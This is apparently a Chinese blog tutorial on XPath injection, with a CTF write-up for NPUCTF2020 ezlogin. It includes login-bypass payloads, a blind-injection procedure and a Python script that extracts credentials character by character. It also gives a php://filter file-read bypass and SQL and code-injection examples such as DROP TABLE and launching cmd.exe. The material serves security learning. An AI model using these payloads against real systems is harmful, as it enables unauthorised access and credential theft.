Xpath注入

文章XPATH注入学习

基础

基本语法

  • “nodename” – 选取nodename的所有子节点

  • “/nodename” – 从根节点中选择

  • “//nodename” – 从当前节点选择

  • “…” – 选择当前节点的父节点

  • “child::node()” – 选择当前节点的所有子节点

  • “@” -选择属性

  • "//user[position()=2] " 选择节点位置

    实例(w3school里面的),在下面的表格中,我们已列出了一些路径表达式以及表达式的结果:

    路径表达式结果
    bookstore选取 bookstore 元素的所有子节点。
    /bookstore选取根元素 bookstore。注释:假如路径起始于正斜杠( / ),则此路径始终代表到某元素的绝对路径!
    bookstore/book选取属于 bookstore 的子元素的所有 book 元素。
    //book选取所有 book 子元素,而不管它们在文档中的位置。
    bookstore//book选择属于 bookstore 元素的后代的所有 book 元素,而不管它们位于 bookstore 之下的什么位置。
    //@lang选取名为 lang 的所有属性。

需要理解的

/bookstore/user[1]  表示bookstore元素下的第一个user子节点

/bookstore/*[1]     *表示任意,这里表示bookstore元素下的第一个子节点

/bookstore/user[1]/username/text()  test()得到节点中的所有文本,这里表示得到username的值

| 运算符 计算两个节点集   例如://book | //cd   返回所有拥有 book 和 cd 元素的节点集

基本函数

count((item,item,...))    返回节点的数量。(即当前节点的子节点数)
'or count(/)=1  or ''='   ##根节点数量为1。判断根节点的数量是否为1
'or count(/*)=1 or ''='   ##根节点下只有一个子节点。*表示任意,这里/*表示所以的根节点,count(*/)表示所有的根节点的子节点数

string-length(string(参数可选))    返回指定字符串的长度。如果没有 string 参数,则返回当前节点的字符串值的长度。

substring(string,start,len(参数可选))    返回从 start 位置开始的指定长度的子字符串。第一个字符的下标是 1。如果省略 len 参数,则返回从位置 start 到字符串末尾的子字符串。

使用

常规注入

' or 1=1 or ''='  

代入语句后:
$query="user/username[@name='user1' or 1=1 or ''='']";
##1=1为真 ''='' 为真,使用or连接,则可以匹配当前节点下的所有user

解释:@ 选择属性  这里username选择了name这个属性,
<username name='user1'>user1</username>
<username name='user2'>user2</username>
<username name='user3'>user3</username>
<username name='user4'>user4</username>
正常的我们传入uer1就只会得到一条信息,这里'user1' or 1=1 or ''=''表示恒为正,所以匹配了所有的值,得到了4条信息

使用’ or 1=1 or ‘’=’ 只能获取当前节点下的数据,flag不在当前节点中。而这里既然为ctf题目,肯定是需要获取flag的,这里xpath有一个类似于sqli的’or ‘1’='1的paylaod

']|//*|//*['

该paylaod用于访问xml文档的所有节点

解释:
这里使用了|运算符
代入之后
$query="user/username[@name=']|//*|//*['']";
其中的//*,表示所有节点,所以就得到了所有节点的值

登入绕过

一般数据库中默认第一个用户为管理用户。所以这里类似SQLi 的万能密码,使用如下paylaod实现在管理账户未知的情况下管理员登录:

x' or 1=1 or ''='

Xpath盲注

很详细,我直接引用了

xpath盲注适用于攻击者不清楚XML文档的架构,没有错误信息返回,一次只能通过布尔化查询来获取部分信息

Xpath盲注步骤:

  • 判断根节点下的节点数
  • 判断根节点下节点长度&名称
  • 重复猜解完所有节点,获取最后的值

从根节点开始判断:

'or count(/)=1  or ''='     ###根节点数量为1
'or count(/*)=1 or ''='   ##根节点下只有一个子节点

判断根节点下的节点长度为8:

'or string-length(name(/*[1]))=8 or ''='

猜解根节点下的节点名称:

'or substring(name(/*[1]), 1, 1)='a'  or ''='
'or substring(name(/*[1]), 2, 1)='c'  or ''='
..
'or substring(name(/*[1]), 8, 1)='s'  or ''='

猜解出该节点名称为accounts

'or count(/accounts)=1  or ''='   /accounts节点数量为1
'or count(/accounts/user/*)>0 or ''='     /accounts下有两个节点

'or string-length(name(/accounts/*[1]))=4  or ''='    第一个子节点长度为4

猜解accounts下的节点名称:

'or substring(name(/accounts/*[1]), 1, 1)='u'  or ''='
...
'or substring(name(/accounts/*[1]), 4, 1)='r'  or ''='

accounts下子节点名称为user

'or count(/accounts/user)=2  or ''='    user节点有两个,则可以猜测出accounts节点结构,accounts下两个节点,均为user节点

第一个user节点的子节点长度为8:
‘or string-length(name(/accounts/user[position()=1]/*[1]))=8 or ‘’=’

读取user节点的下子节点

'or substring(name(/accounts/user[position()=1]/*[1]), 1, 1)='u'  or ''='
'or substring(name(/accounts/user[position()=1]/*[1]), 2, 1)='s'  or ''='
...
'or substring(name(/accounts/user[position()=1]/*[1]), 8, 1)='e'  or ''='

最终所有子节点值验证如下:

'or substring(name(/accounts/user[position()=1]/*[1]), 1)='username'  or ''='
'or substring(name(/accounts/user[position()=1]/*[2]), 1)='email'  or ''='
'or substring(name(/accounts/user[position()=1]/*[3]), 1)='accounttype'  or ''='
'or substring(name(/accounts/user[position()=1]/*[4]), 1)='password'  or ''='

继续猜解:

'or count(/accounts/user[position()=1]/username/*)>0 or ''='   
'or count(/accounts/user[position()=1]/email/*)>0 or ''=' 
'or count(/accounts/user[position()=1]/accounttype/*)>0 or ''='
'or count(/accounts/user[position()=1]/username/password/*)>0 or ''='

均为 false,不再有子节点,则可以尝试读取这些节点的值

第一个user下的username值长度为6:

'or string-length((//user[position()=1]/username[position()=1]))=6  or ''='

读取第一个user下usernaem的值

'or substring((//user[position()=1]/username[position()=1]),1,1)='T'  or ''='
....
'or substring((//user[position()=1]/username[position()=1]),6,1)='e'  or ''='

可依次读取所有的子节点的值,第二user节点的子节点值读取方式:

'or string-length((//user[position()=2]/username[position()=1]))=4 or ''='  第一个user下的username长度为4
......

重复上边步骤即可

题解

[NPUCTF2020]ezlogin

文章:[NPUCTF2020]ezlogin

思路

抓包发现xml格式,尝试xxe漏洞,发现回显:格式错误!

这时我们不清楚xml节点的格式,尝试Xpath盲注

payload

import requests
import re
import time

session = requests.session()
url = "http://09d8403c-509c-406f-b71c-471c0efa0e44.node4.buuoj.cn:81/"
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
head = {
    #'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36',
    'Content-Type': 'application/xml',
    #"Cookie":"UM_distinctid=1785326510411f-0b3fb285b5c49c-4c3f227c-144000-178532651052c9; session=b953d436-f0da-4e58-be79-22676707c609.K5TbTAnwLyhIU66duiTX1Usn1D8; PHPSESSID=c68f802d273babd91c8978aeef4a7605"
        }

find = re.compile(r'<input type="hidden" id="token" value="(.*?)" />',re.S)
result = ""
#猜测根节点名称
payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"
#猜测子节点名称
payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"
#猜测accounts的节点
payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"
#猜测user节点
payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"
#跑用户名和密码
payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"
payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"

def get_token():     #获取token的函数
    resp = session.get(url=url)  #如果在这里用headers会得到超时的界面
    token = find.findall(resp.text)[0]
    #print(token)
    return token

for x in range(1,100):
    for char in chars:
        time.sleep(0.3)
        token = get_token()
        playload = payload_password.format(x, char, token)   #根据上面的playload来改
        #print(playload)
        resp = session.post(url=url,headers=head, data=playload)
        #print(resp.text)
        if "非法操作" in resp.text:
            result += char
            print(result)
            break
    if "用户名或密码错误" in resp.text:
        break

print(result)

对密码进行MD5解密得到

username=adm1n,password=cf7414b5bdb2e65ee43083f4ddbc4d9f,这个解码后就是gtfly123

登录进去,发现?file=

查看源码发现:ZmxhZyBpcyBpbiAvZmxhZwo= ,base64解码后告诉我们:/flag

尝试伪协议,php://filter, 发现被过滤了东西,测试后发现要用大小写绕过和去掉read

?file=PHP://filter/convert.Base64-encode/resource=/flag
  • 4
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SQL 注入示例: 假设我们有一个用户登录的功能,对应的查询语句为: ``` string sql = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"; ``` 攻击者可以通过输入特殊字符,例如 ' 或者 ;,来构造恶意的查询语句,例如: ``` string username = "admin'; DROP TABLE users;--"; string password = "123456"; ``` 这样就会导致查询语句变成: ``` SELECT * FROM users WHERE username='admin'; DROP TABLE users;--' AND password='123456' ``` 这条语句会执行两个操作:首先查询用户名为 admin 的用户,然后删除 users 表。这就是 SQL 注入攻击的典型案例。 XPath 注入示例: 假设我们有一个使用 XPath 查询 XML 数据的功能,对应的查询语句为: ``` string xpath = "/users/user[@name='" + username + "' and @password='" + password + "']"; ``` 攻击者可以通过输入特殊字符,例如 ' 或者 ;,来构造恶意的查询语句,例如: ``` string username = "admin' or 1=1 or ''='"; string password = "123456"; ``` 这样就会导致查询语句变成: ``` /users/user[@name='admin' or 1=1 or ''=' and @password='123456'] ``` 这条语句会查询用户名为 admin 或者 1=1 或者 ''='',因为 1=1 和 ''='' 都是恒成立的。这就是 XPath 注入攻击的典型案例。 代码注入示例: 假设我们有一个执行用户输入的代码的功能,对应的代码为: ``` string code = Request.Params["code"]; object result = Eval(code); ``` 攻击者可以通过输入特殊字符,例如 ; 或者 &,来构造恶意的代码,例如: ``` string code = "System.Diagnostics.Process.Start(\"cmd.exe\",\"/c calc.exe\")"; ``` 这样就会导致执行了一个恶意的命令,打开计算器程序。这就是代码注入攻击的典型案例。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值